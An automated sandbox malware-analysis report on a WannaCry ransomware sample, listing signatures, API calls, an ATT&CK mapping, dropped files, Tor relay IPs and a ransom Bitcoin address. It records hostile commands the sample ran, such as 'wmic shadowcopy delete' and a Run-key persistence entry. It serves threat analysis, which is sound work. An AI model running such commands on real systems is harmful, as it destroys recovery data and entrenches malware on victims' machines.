                  Anti Debugging

                  barindex
                  Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSystem information queried: CodeIntegrityInformation
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSystem information queried: CodeIntegrityInformation
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeSystem information queried: CodeIntegrityInformation
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00404B70 CryptAcquireContextA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,19_2_00404B70
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00BE11FD SetUnhandledExceptionFilter,_acmdln,malloc,strlen,malloc,memcpy,__initenv,_cexit,_amsg_exit,_initterm,exit,23_2_00BE11FD

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Writes to foreign memory regions
                  Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\SysWOW64\reg.exe base: 2C10000
                  Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\SysWOW64\reg.exe base: 2A3E2D8
                  Source: C:\Windows\SysWOW64\cmd.exeMemory written: C:\Windows\SysWOW64\reg.exe base: 2A3F1E8
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbsJump to behavior
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
                  Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "vfwrglgamdagtoq456" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00401BB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,19_2_00401BB0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: SendMessageA,GetUserDefaultLangID,GetLocaleInfoA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,19_2_00406C20
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: SendMessageA,GetUserDefaultLangID,GetLocaleInfoA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,22_2_00406C20
                  Source: C:\Windows\SysWOW64\cscript.exeQueries volume information: C:\ VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D4FC04 GetSystemTimeAsFileTime,exit,__stack_chk_fail,23_2_00D4FC04
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040BED0 #823,GetComputerNameA,GetUserNameA,19_2_0040BED0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_00406F80 SendMessageA,CreateSolidBrush,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateSolidBrush,#1641,CreateFontA,CreateFontA,#1641,CreateFontA,#1641,CreateFontA,#1641,#3092,SendMessageA,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#3092,SendMessageA,#860,#537,#537,#540,#2818,#535,#2818,#535,SendMessageA,SendMessageA,#6140,#6140,GetTimeZoneInformation,SystemTimeToTzSpecificLocalTime,SystemTimeToTzSpecificLocalTime,#2818,SystemTimeToTzSpecificLocalTime,#2818,#6334,#800,19_2_00406F80
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D388BE memset,GetVersionExA,__stack_chk_fail,23_2_00D388BE
                  Source: C:\Users\user\Desktop\n397UdH3b5.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 19_2_0040D6A0 htons,socket,bind,ioctlsocket,ioctlsocket,connect,select,__WSAFDIsSet,__WSAFDIsSet,ioctlsocket,setsockopt,setsockopt,setsockopt,closesocket,19_2_0040D6A0
                  Source: C:\Users\user\Desktop\@WanaDecryptor@.exeCode function: 22_2_0040D6A0 htons,socket,bind,ioctlsocket,ioctlsocket,connect,select,__WSAFDIsSet,__WSAFDIsSet,ioctlsocket,setsockopt,setsockopt,setsockopt,closesocket,22_2_0040D6A0
                  Source: C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exeCode function: 23_2_00D3739B memset,memset,memset,memset,htonl,abort,bind,listen,getsockname,connect,getsockname,_errno,__stack_chk_fail,23_2_00D3739B

                  Mitre Att&ck Matrix

                  ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                  Gather Victim Identity Information12
                  Scripting                  		Valid Accounts21
                  Native API                  		12
                  Scripting                  		1
                  DLL Side-Loading                  		1
                  Deobfuscate/Decode Files or Information                  		1
                  Credential API Hooking                  		2
                  System Time Discovery                  		Remote Services12
                  Archive Collected Data                  		1
                  Ingress Tool Transfer                  		Exfiltration Over Other Network Medium21
                  Data Encrypted for Impact
                  CredentialsDomainsDefault Accounts2
                  Command and Scripting Interpreter                  		1
                  DLL Side-Loading                  		111
                  Process Injection                  		2
                  Obfuscated Files or Information                  		LSASS Memory1
                  Account Discovery                  		Remote Desktop Protocol1
                  Credential API Hooking                  		22
                  Encrypted Channel                  		Exfiltration Over Bluetooth1
                  Inhibit System Recovery
                  Email AddressesDNS ServerDomain AccountsAt11
                  Registry Run Keys / Startup Folder                  		11
                  Registry Run Keys / Startup Folder                  		1
                  DLL Side-Loading                  		Security Account Manager3
                  File and Directory Discovery                  		SMB/Windows Admin Shares2
                  Clipboard Data                  		1
                  Non-Standard Port                  		Automated Exfiltration1
                  Defacement
                  Employee NamesVirtual Private ServerLocal AccountsCron1
                  Services File Permissions Weakness                  		1
                  Services File Permissions Weakness                  		1
                  File Deletion                  		NTDS26
                  System Information Discovery                  		Distributed Component Object ModelInput Capture1
                  Multi-hop Proxy                  		Traffic DuplicationData Destruction
                  Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script111
                  Masquerading                  		LSA Secrets31
                  Security Software Discovery                  		SSHKeylogging1
                  Application Layer Protocol                  		Scheduled TransferData Encrypted for Impact
                  Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                  Modify Registry                  		Cached Domain Credentials1
                  Process Discovery                  		VNCGUI Input Capture2
                  Proxy                  		Data Transfer Size LimitsService Stop
                  DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items111
                  Virtualization/Sandbox Evasion                  		DCSync111
                  Virtualization/Sandbox Evasion                  		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                  Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job111
                  Process Injection                  		Proc Filesystem11
                  Application Window Discovery                  		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                  Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                  Hidden Files and Directories                  		/etc/passwd and /etc/shadow1
                  System Owner/User Discovery                  		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
                  IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
                  Services File Permissions Weakness                  		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

                  Behavior Graph

                  Hide Legend

                  Legend:

                  • Process
                  • Signature
                  • Created File
                  • DNS/IP Info
                  • Is Dropped
                  • Is Windows Process
                  • Number of created Registry Values
                  • Number of created Files
                  • Visual Basic
                  • Delphi
                  • Java
                  • .Net C# or VB.NET
                  • C, C++ or other language
                  • Is malicious
                  • Internet
                  behaviorgraph top1 signatures2 2 Behavior Graph ID: 1586204 Sample: n397UdH3b5.exe Startdate: 08/01/2025 Architecture: WINDOWS Score: 100 82 Malicious sample detected (through community Yara rule) 2->82 84 Antivirus detection for dropped file 2->84 86 Antivirus / Scanner detection for submitted sample 2->86 88 11 other signatures 2->88 9 n397UdH3b5.exe 2 1001 2->9         started        process3 file4 56 C:\Users\user\Downloads\@WanaDecryptor@.exe, PE32 9->56 dropped 58 C:\Users\user\Documents\@WanaDecryptor@.exe, PE32 9->58 dropped 60 C:\Users\user\Desktop\u.wnry, PE32 9->60 dropped 62 189 other malicious files 9->62 dropped 90 Overwrites code with unconditional jumps - possibly settings hooks in foreign process 9->90 92 Creates files in the recycle bin to hide itself 9->92 94 Drops PE files to the document folder of the user 9->94 96 3 other signatures 9->96 13 @WanaDecryptor@.exe 9->13         started        18 cmd.exe 9->18         started        20 cmd.exe 2 9->20         started        22 15 other processes 9->22 signatures5 process6 dnsIp7 80 127.0.0.1 unknown unknown 13->80 64 C:\Users\user\Desktop\TaskData\...\zlib1.dll, PE32 13->64 dropped 66 C:\Users\user\Desktop\TaskData\Tor\tor.exe, PE32 13->66 dropped 68 C:\Users\user\Desktop\...\taskhsvc.exe, PE32 13->68 dropped 72 7 other malicious files 13->72 dropped 104 Detected Wannacry Ransomware 13->104 106 Multi AV Scanner detection for dropped file 13->106 108 Contains functionalty to change the wallpaper 13->108 120 3 other signatures 13->120 24 taskhsvc.exe 13->24         started        27 @WanaDecryptor@.exe 18->27         started        30 conhost.exe 18->30         started        70 C:\Users\user\Desktop\m.vbs, ASCII 20->70 dropped 110 Command shell drops VBS files 20->110 112 Deletes shadow drive data (may be related to ransomware) 20->112 32 cscript.exe 3 20->32         started        35 conhost.exe 20->35         started        114 Found Tor onion address 22->114 116 Writes to foreign memory regions 22->116 118 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 22->118 37 conhost.exe 22->37         started        39 conhost.exe 22->39         started        41 conhost.exe 22->41         started        43 reg.exe 22->43         started        file8 signatures9 process10 dnsIp11 74 178.33.183.251, 443, 49715 OVHFR France 24->74 76 198.50.191.95, 443, 49717 OVHFR Canada 24->76 78 4 other IPs or domains 24->78 45 conhost.exe 24->45         started        98 Found Tor onion address 27->98 100 Deletes shadow drive data (may be related to ransomware) 27->100 102 Uses bcdedit to modify the Windows boot settings 27->102 47 cmd.exe 27->47         started        54 C:\Users\user\...\@WanaDecryptor@.exe.lnk, MS 32->54 dropped file12 signatures13 process14 signatures15 122 Deletes shadow drive data (may be related to ransomware) 47->122 50 conhost.exe 47->50         started        52 WMIC.exe 47->52         started        process16

                  Screenshots

                  Thumbnails

                  This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                  windows-stand

                  Antivirus, Machine Learning and Genetic Malware Detection

                  Initial Sample

                  SourceDetectionScannerLabelLink
                  n397UdH3b5.exe100%ReversingLabsWin32.Ransomware.WannaCry
                  n397UdH3b5.exe100%AviraTR/Black.Gen2
                  n397UdH3b5.exe100%Joe Sandbox ML

                  Dropped Files

                  SourceDetectionScannerLabelLink
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraTR/FileCoder.724645
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%AviraLNK/Runner.VPDJ
                  C:\@WanaDecryptor@.exe100%Joe Sandbox ML
                  C:\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\user\AppData\Local\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\user\Desktop\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\user\Desktop\TaskData\Tor\libeay32.dll0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\libevent-2-0-5.dll0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\libevent_core-2-0-5.dll0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\libevent_extra-2-0-5.dll0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\libgcc_s_sjlj-1.dll0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\libssp-0.dll0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\ssleay32.dll0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\taskhsvc.exe0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\tor.exe0%ReversingLabs
                  C:\Users\user\Desktop\TaskData\Tor\zlib1.dll0%ReversingLabs
                  C:\Users\user\Desktop\taskdl.exe96%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\user\Desktop\taskse.exe89%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\user\Desktop\u.wnry97%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\user\Documents\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\user\Downloads\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\Default\Desktop\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
                  C:\Users\Public\Desktop\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry

                  Unpacked PE Files

                  ⊘No Antivirus matches

                  Domains

                  ⊘No Antivirus matches

                  URLs

                  SourceDetectionScannerLabelLink
                  https://blog.torproject.org/blog/lifecycle-of-a-new-relayError0%Avira URL Cloudsafe
                  http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s0%Avira URL Cloudsafe
                  https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%s0%Avira URL Cloudsafe
                  http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=how0%Avira URL Cloudsafe
                  https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKS0%Avira URL Cloudsafe
                  https://trac.torproject.org/87420%Avira URL Cloudsafe
                  https://blog.torproject.org/blog/lifecycle-of-a-new-relay0%Avira URL Cloudsafe
                  https://sabotage.net0%Avira URL Cloudsafe
                  http://www.btcfrog.com/qr/bitcoinPNG.php?address=115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn0%Avira URL Cloudsafe
                  http://www.zlib.net/D0%Avira URL Cloudsafe
                  https://trac.torproject.org/projects/tor/ticket/14917.0%Avira URL Cloudsafe

                  Domains and IPs

                  Contacted Domains

                  ⊘No contacted domains info

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s@WanaDecryptor@.exe, @WanaDecryptor@.exe, 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000002.6584313438.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000002.3056928500.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000002.3358174896.0000000000421000.00000004.00000001.01000000.00000008.sdmptrue
                  • Avira URL Cloud: safe
                  		unknown
                  https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%staskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.openssl.org/support/faq.htmlRANDtaskhsvc.exe, 00000017.00000002.6595023378.000000006C5ED000.00000002.00000001.01000000.0000000F.sdmpfalse
                    		high
                    https://blog.torproject.org/blog/lifecycle-of-a-new-relayError@WanaDecryptor@.exe, 00000013.00000003.2594309652.00000000028BF000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    http://www.btcfrog.com/qr/bitcoinPNG.php?address=115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn@WanaDecryptor@.exe, 0000001F.00000002.6585427963.0000000000B20000.00000004.00000020.00020000.00000000.sdmpfalse
                    • Avira URL Cloud: safe
                    		unknown
                    https://www.google.com/search?q=how@WanaDecryptor@.exe, 0000001F.00000002.6585427963.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000002.3056928500.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000002.3358174896.0000000000421000.00000004.00000001.01000000.00000008.sdmpfalse
                      		high
                      https://www.torproject.org/download/download#warningalphabetaThistaskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                        		high
                        http://www.openssl.org/Vtaskhsvc.exe, 00000017.00000002.6595398459.000000006C66A000.00000008.00000001.01000000.0000000F.sdmp, taskhsvc.exe, 00000017.00000002.6596391735.000000006C6FC000.00000008.00000001.01000000.0000000E.sdmpfalse
                          		high
                          http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=hown397UdH3b5.exe, 00000000.00000003.2573945080.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, n397UdH3b5.exe, 00000000.00000003.1565823592.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000013.00000000.2575420762.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000000.2576398227.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000016.00000002.2678071072.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000002.6584313438.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 0000001F.00000000.2752921925.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000000.3056412073.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000025.00000002.3056928500.0000000000421000.00000004.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000000.3357432040.000000000041F000.00000008.00000001.01000000.00000008.sdmp, @WanaDecryptor@.exe, 00000028.00000002.3358174896.0000000000421000.00000004.00000001.01000000.00000008.sdmptrue
                          • Avira URL Cloud: safe
                          		unknown
                          http://www.zlib.net/D@WanaDecryptor@.exe, 00000013.00000003.2593969132.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000013.00000003.2594176456.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6598753872.000000006F600000.00000008.00000001.01000000.0000000D.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://sabotage.nettaskhsvc.exe, 00000017.00000003.4680309516.0000000001844000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4676163483.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4661899921.0000000001908000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4666038553.000000000406D000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4662280725.000000000392C000.00000004.00000800.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6588807769.0000000003720000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000003.4677819237.00000000016A0000.00000004.00000020.00020000.00000000.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://wiki.torproject.org/TheOnionRouter/TorFAQ#SOCKSAndDNS.%sDANGEROUS_SOCKStaskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://www.torproject.org/documentation.htmltaskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                            		high
                            https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip(B@WanaDecryptor@.exe, 00000013.00000002.6584343894.0000000000421000.00000004.00000001.01000000.00000008.sdmpfalse
                              		high
                              https://www.torproject.org/download/download#warningtaskhsvc.exe, 00000017.00000002.6587573891.00000000013F9000.00000004.00000010.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                                		high
                                https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip$@WanaDecryptor@.exe, 00000013.00000002.6583910713.0000000000198000.00000004.00000010.00020000.00000000.sdmp, @WanaDecryptor@.exe, 00000016.00000002.2677869962.000000000019B000.00000004.00000010.00020000.00000000.sdmpfalse
                                  		high
                                  https://www.torproject.org/taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                                    		high
                                    https://trac.torproject.org/8742taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://freehaven.net/anonbib/#hs-attack06taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                                      		high
                                      https://www.torproject.org/docs/faq.html#BestOSForRelaytaskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                                        		high
                                        https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip@WanaDecryptor@.exe, 0000001F.00000002.6583876538.000000000019A000.00000004.00000010.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.openssl.org/support/faq.htmltaskhsvc.exe, 00000017.00000002.6595023378.000000006C5ED000.00000002.00000001.01000000.0000000F.sdmpfalse
                                            		high
                                            https://blog.torproject.org/blog/lifecycle-of-a-new-relay@WanaDecryptor@.exe, 00000013.00000003.2594309652.00000000028BF000.00000004.00000020.00020000.00000000.sdmp, taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://trac.torproject.org/projects/tor/ticket/14917.taskhsvc.exe, 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown

                                            World Map of Contacted IPs

                                            • No. of IPs < 25%
                                            • 25% < No. of IPs < 50%
                                            • 50% < No. of IPs < 75%
                                            • 75% < No. of IPs

                                            Public IPs

                                            IPDomainCountryFlagASNASN NameMalicious
                                            198.50.191.95
                                            		unknownCanada
                                            		16276OVHFRfalse
                                            37.187.22.87
                                            		unknownFrance
                                            		16276OVHFRfalse
                                            178.33.183.251
                                            		unknownFrance
                                            		16276OVHFRfalse
                                            131.188.40.189
                                            		unknownGermany
                                            		680DFNVereinzurFoerderungeinesDeutschenForschungsnetzesefalse
                                            128.31.0.39
                                            		unknownUnited States
                                            		3MIT-GATEWAYSUSfalse
                                            217.12.199.208
                                            		unknownUkraine
                                            		15626ITLASUAfalse

                                            Private

                                            IP
                                            127.0.0.1

                                            General Information

                                            Joe Sandbox version:41.0.0 Charoite
                                            Analysis ID:1586204
                                            Start date and time:2025-01-08 20:44:22 +01:00
                                            Joe Sandbox product:CloudBasic
                                            Overall analysis duration:0h 20m 41s
                                            Hypervisor based Inspection enabled:false
                                            Report type:full
                                            Cookbook file name:default.jbs
                                            Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                            Run name:Suspected Instruction Hammering
                                            Number of analysed new started processes analysed:41
                                            Number of new started drivers analysed:0
                                            Number of existing processes analysed:0
                                            Number of existing drivers analysed:0
                                            Number of injected processes analysed:0
                                            Technologies:
                                            • HCA enabled
                                            • EGA enabled
                                            • AMSI enabled
                                            Analysis Mode:default
                                            Sample name:n397UdH3b5.exe
                                            Detection:MAL
                                            Classification:mal100.rans.evad.winEXE@44/904@0/7
                                            EGA Information:
                                            • Successful, ratio: 100%
                                            HCA Information:
                                            • Successful, ratio: 68%
                                            • Number of executed functions: 140
                                            • Number of non-executed functions: 249
                                            Cookbook Comments:
                                            • Found application associated with file extension: .exe
                                            • Sleeps bigger than 100000000ms are automatically reduced to 1000ms

                                            Warnings

                                            • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, conhost.exe, WmiPrvSE.exe, VSSVC.exe
                                            • Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
                                            • Not all processes where analyzed, report is missing behavior information
                                            • Report size exceeded maximum capacity and may have missing behavior information.
                                            • Report size exceeded maximum capacity and may have missing disassembly code.
                                            • Report size getting too big, too many NtCreateFile calls found.
                                            • Report size getting too big, too many NtOpenFile calls found.
                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                            • Report size getting too big, too many NtQueryAttributesFile calls found.
                                            • Report size getting too big, too many NtQueryValueKey calls found.
                                            • Report size getting too big, too many NtSetInformationFile calls found.
                                            • Report size getting too big, too many NtSetValueKey calls found.
                                            • Report size getting too big, too many NtWriteFile calls found.
                                            • VT rate limit hit for: n397UdH3b5.exe

                                            Simulations

                                            Behavior and APIs

                                            TimeTypeDescription
                                            14:47:05API Interceptor30527692x Sleep call for process: n397UdH3b5.exe modified
                                            20:48:37AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run vfwrglgamdagtoq456 "C:\Users\user\Desktop\tasksche.exe"

                                            Joe Sandbox View / Context

                                            IPs

                                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                            198.50.191.95c8sDO7umrx.exeGet hashmaliciousCMSBruteBrowse
                                              Mcb5K3TOWT.exeGet hashmaliciousUnknownBrowse
                                                m5EyzJ7S8S.exeGet hashmaliciousAmadey, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Stealc, VidarBrowse
                                                  file.exeGet hashmaliciousGurcu StealerBrowse
                                                    xqz8sQ4mZB.exeGet hashmaliciousGlupteba, SmokeLoaderBrowse
                                                      HVqTxn73uD.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoaderBrowse
                                                        NBHEkIKDCr.exeGet hashmaliciousGlupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5SystemzBrowse
                                                          file.exeGet hashmaliciousRedLine, SmokeLoaderBrowse
                                                            file.exeGet hashmaliciousUnknownBrowse
                                                              malware.exeGet hashmaliciousUnknownBrowse
                                                                37.187.22.87deepRats.exeGet hashmaliciousUnknownBrowse
                                                                  178.33.183.251Mcb5K3TOWT.exeGet hashmaliciousUnknownBrowse
                                                                    fonts-utilGet hashmaliciousUnknownBrowse
                                                                      OShRqF6jNV.exeGet hashmaliciousGlupteba, LummaC Stealer, SmokeLoader, Stealc, SystemBC, XmrigBrowse
                                                                        IIBXMzS0zN.exeGet hashmaliciousGlupteba, SmokeLoader, Socks5Systemz, Stealc, XmrigBrowse
                                                                          SLtb3T91Li.exeGet hashmaliciousUnknownBrowse
                                                                            NBHEkIKDCr.exeGet hashmaliciousGlupteba, LummaC Stealer, Petite Virus, RedLine, SmokeLoader, Socks5SystemzBrowse
                                                                              SaLY22oLht.exeGet hashmaliciousUnknownBrowse
